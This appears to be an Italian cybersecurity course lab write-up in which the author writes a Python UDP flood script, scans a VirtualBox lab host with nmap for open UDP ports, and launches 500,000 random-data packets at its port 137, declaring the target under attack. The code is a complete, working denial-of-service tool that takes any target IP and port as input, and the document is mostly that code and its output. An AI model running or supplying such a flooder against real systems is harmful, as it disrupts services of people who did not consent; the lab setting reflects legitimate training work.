Pratica S6L3

Creazione di un semplice codice per inviare pacchetti ad un ip target ed a una porta UDP specifica

```python
import socket
import random

target = input("Inserisci l'indirizzo IP della macchina target: ")
porta = int(input("Inserisci la porta UDP della macchina target: "))
pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
data = random._urandom(1024)

print(f"\nInvio {pacchetti} pacchetti verso {target}:{porta}...\n")

for i in range(pacchetti):
    try:
        sock.sendto(data, (target, porta))
    except Exception as e:
        print("Errore durante l'invio del pacchetto")

print("Invio completato!")
sock.close()
```

Mappatura con nmap per ricercare porte UDP aperte nel target

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p- 192.168.50.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 14:05 CET
Nmap scan report for 192.168.50.102
Host is up (0.0013s latency).
Not shown: 65534 open|filtered udp ports (no-response)
PORT    STATE SERVICE
137/udp open  netbios-ns
MAC Address: 08:00:27:5C:8D:1C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 360.31 seconds
```

Lancio il programma scritto in python

```
┌──(kali㉿kali)-[~/Desktop/Codice_CS0724]
└─$ python PraticaS6L3.py
Inserisci l'indirizzo IP della macchina target: 192.168.50.102
Inserisci la porta UDP della macchina target: 137
Inserisci il numero di pacchetti da inviare: 500000

Invio 500000 pacchetti verso 192.168.50.102:137...

Invio completato!
```

Il target è sotto attacco!